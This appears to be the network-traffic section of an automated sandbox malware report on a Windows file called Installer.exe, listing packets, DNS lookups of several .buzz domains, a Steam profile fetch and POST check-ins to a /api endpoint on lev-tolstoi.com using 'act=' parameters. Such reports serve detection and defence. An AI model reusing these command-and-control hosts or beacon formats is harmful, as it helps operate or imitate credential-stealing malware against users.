Dec 27, 2024 23:13:32.787101030 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:32.787115097 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:32.787317038 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:32.789119005 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:32.789319992 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:32.789355040 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:32.789411068 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:32.789417982 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:33.763356924 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:33.763458014 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:33.763519049 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:33.763688087 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:33.763700008 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:33.931615114 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:33.931668043 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:33.931737900 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:33.932094097 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:33.932111025 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:35.188515902 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:35.188580990 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:35.192049980 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:35.192065954 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:35.192270994 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:35.193682909 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:35.193862915 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:35.193890095 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:36.014717102 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:36.014786959 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:36.014844894 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:36.015113115 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:36.015130997 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:36.195837021 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:36.195873022 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:36.195950031 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:36.196253061 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:36.196263075 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:37.425291061 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:37.425412893 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:37.426806927 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:37.426819086 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:37.427042961 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:37.428205967 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:37.428385973 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:37.428415060 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:37.428476095 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:37.428484917 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:38.376885891 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:38.376960993 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:38.377012968 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:38.377274036 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:38.377288103 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:38.837332964 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:38.837380886 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:38.837457895 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:38.838051081 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:38.838073015 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:40.143580914 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:40.144073963 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:40.147255898 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:40.147265911 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:40.147505045 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:40.148724079 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:40.148724079 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:40.148762941 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:40.950920105 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:40.950997114 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:40.951047897 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:40.951221943 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:40.951240063 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:41.365425110 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:41.365470886 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:41.365552902 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:41.365998030 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:41.366013050 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:42.627253056 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:42.627338886 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.628695965 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.628712893 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:42.628926992 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:42.635778904 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.636569977 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.636605024 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:42.636809111 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.636848927 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:42.636941910 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.636985064 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:42.637785912 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.637809038 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:42.637943029 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.637969017 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:42.638221979 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.638247967 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:42.638254881 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.638394117 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.638410091 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.683340073 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:42.683475971 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.683516026 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.683526993 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.727334976 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:42.731502056 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.731534958 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.731556892 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.775368929 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:42.779364109 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:42.823343039 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:42.997786045 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:45.075472116 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:45.075547934 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:45.077255964 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:45.077485085 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:45.077502012 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:45.085623026 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:45.085660934 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:45.085737944 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:45.086039066 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:45.086055040 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:46.299418926 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:46.299504042 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:46.300627947 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:46.300638914 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:46.300842047 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:46.307281971 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:46.307307005 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:46.307351112 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:47.067866087 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:47.068017006 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:47.068093061 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:47.068106890 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:47.068135977 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:47.068197966 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:47.068237066 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:47.068408966 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:47.070291042 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:47.070307016 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:47.075941086 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:47.079330921 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:47.079339981 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:47.084249020 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:47.084319115 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:47.084327936 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:47.092832088 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:47.092945099 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:47.093013048 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:47.102508068 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:47.102524996 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:47.102540970 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:47.102545977 CET	443	49747	104.21.66.86	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 23:13:22.520955086 CET	58948	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:13:22.748270988 CET	53	58948	1.1.1.1	192.168.2.4
Dec 27, 2024 23:13:22.750802040 CET	55567	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:13:22.889348984 CET	53	55567	1.1.1.1	192.168.2.4
Dec 27, 2024 23:13:22.892683983 CET	59873	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:13:23.030627966 CET	53	59873	1.1.1.1	192.168.2.4
Dec 27, 2024 23:13:23.032330990 CET	50885	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:13:23.170358896 CET	53	50885	1.1.1.1	192.168.2.4
Dec 27, 2024 23:13:23.173218966 CET	61100	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:13:23.310623884 CET	53	61100	1.1.1.1	192.168.2.4
Dec 27, 2024 23:13:23.313226938 CET	52534	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:13:23.451231003 CET	53	52534	1.1.1.1	192.168.2.4
Dec 27, 2024 23:13:23.454549074 CET	62600	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:13:23.592180967 CET	53	62600	1.1.1.1	192.168.2.4
Dec 27, 2024 23:13:23.593933105 CET	55682	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:13:23.731961012 CET	53	55682	1.1.1.1	192.168.2.4
Dec 27, 2024 23:13:23.754492044 CET	62835	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:13:23.894794941 CET	53	62835	1.1.1.1	192.168.2.4
Dec 27, 2024 23:13:23.907233953 CET	62321	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:13:24.127640963 CET	53	62321	1.1.1.1	192.168.2.4
Dec 27, 2024 23:13:26.720062971 CET	52596	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:13:26.952869892 CET	53	52596	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 23:13:22.520955086 CET	192.168.2.4	1.1.1.1	0x8140	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:22.750802040 CET	192.168.2.4	1.1.1.1	0x4033	Standard query (0)	prisonyfork.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:22.892683983 CET	192.168.2.4	1.1.1.1	0xd4a7	Standard query (0)	rebuildeso.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:23.032330990 CET	192.168.2.4	1.1.1.1	0x2e10	Standard query (0)	scentniej.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:23.173218966 CET	192.168.2.4	1.1.1.1	0xd367	Standard query (0)	inherineau.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:23.313226938 CET	192.168.2.4	1.1.1.1	0xd3a1	Standard query (0)	screwamusresz.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:23.454549074 CET	192.168.2.4	1.1.1.1	0xd334	Standard query (0)	appliacnesot.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:23.593933105 CET	192.168.2.4	1.1.1.1	0xf1a0	Standard query (0)	cashfuzysao.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:23.754492044 CET	192.168.2.4	1.1.1.1	0xe88c	Standard query (0)	hummskitnj.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:23.907233953 CET	192.168.2.4	1.1.1.1	0x23ac	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:26.720062971 CET	192.168.2.4	1.1.1.1	0x5a04	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 23:13:22.748270988 CET	1.1.1.1	192.168.2.4	0x8140	Name error (3)	mindhandru.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:22.889348984 CET	1.1.1.1	192.168.2.4	0x4033	Name error (3)	prisonyfork.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:23.030627966 CET	1.1.1.1	192.168.2.4	0xd4a7	Name error (3)	rebuildeso.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:23.170358896 CET	1.1.1.1	192.168.2.4	0x2e10	Name error (3)	scentniej.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:23.310623884 CET	1.1.1.1	192.168.2.4	0xd367	Name error (3)	inherineau.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:23.451231003 CET	1.1.1.1	192.168.2.4	0xd3a1	Name error (3)	screwamusresz.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:23.592180967 CET	1.1.1.1	192.168.2.4	0xd334	Name error (3)	appliacnesot.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:23.731961012 CET	1.1.1.1	192.168.2.4	0xf1a0	Name error (3)	cashfuzysao.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:23.894794941 CET	1.1.1.1	192.168.2.4	0xe88c	Name error (3)	hummskitnj.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:24.127640963 CET	1.1.1.1	192.168.2.4	0x23ac	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:26.952869892 CET	1.1.1.1	192.168.2.4	0x5a04	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:13:26.952869892 CET	1.1.1.1	192.168.2.4	0x5a04	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	23.55.153.106	443	7488	C:\Users\user\Desktop\Installer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:13:25 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-27 22:13:26 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 27 Dec 2024 22:13:26 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=fd92c37599526c48ee9a2e2b; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-27 22:13:26 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-27 22:13:26 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-27 22:13:26 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	104.21.66.86	443	7488	C:\Users\user\Desktop\Installer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:13:28 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-27 22:13:28 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 22:13:29 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:13:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fdgeg9mgvu601pb18m2slj454d; expires=Tue, 22 Apr 2025 16:00:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LTaTN%2BuzyfJmkHBfPb0lr03lOBcxwpDsiY947ZaHaUIGuQETOfnz8IM%2FwVZ%2FztgrZCyZZvkjck7jmV0qipyAB%2B34IR%2BtVdnVo9sBNV%2FgLbX%2B7VzikPRcwZPWrajc8ZuqSz0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ca875ac873300-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1827&min_rtt=1813&rtt_var=690&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=906&delivery_rate=1610590&cwnd=236&unsent_bytes=0&cid=20cb86ea1ae0903a&ts=766&x=0"
2024-12-27 22:13:29 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 22:13:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49736	104.21.66.86	443	7488	C:\Users\user\Desktop\Installer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:13:30 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: lev-tolstoi.com
2024-12-27 22:13:30 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 35 32 32 33 31 39 38 36 37 31 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--5223198671&j=
2024-12-27 22:13:31 UTC	1119	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:13:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mh0fbkuv09iggm2loonnj879s3; expires=Tue, 22 Apr 2025 16:00:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=48E51UsQl1YpHLnRVUDic3%2BzFMpKv9Mxp8OJM4FwIubNhL9mJuDAQ7036GBdUcVJ8oWZoFuyhdkNTMd8tp6PxKB8J5C3CGKcKXjSz7qgWupAF0JyxiGldjzGwcEfTbrHU3Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ca882bfb19e04-EWR alt-svc: h3=":443"; ma=86400 server-timing: 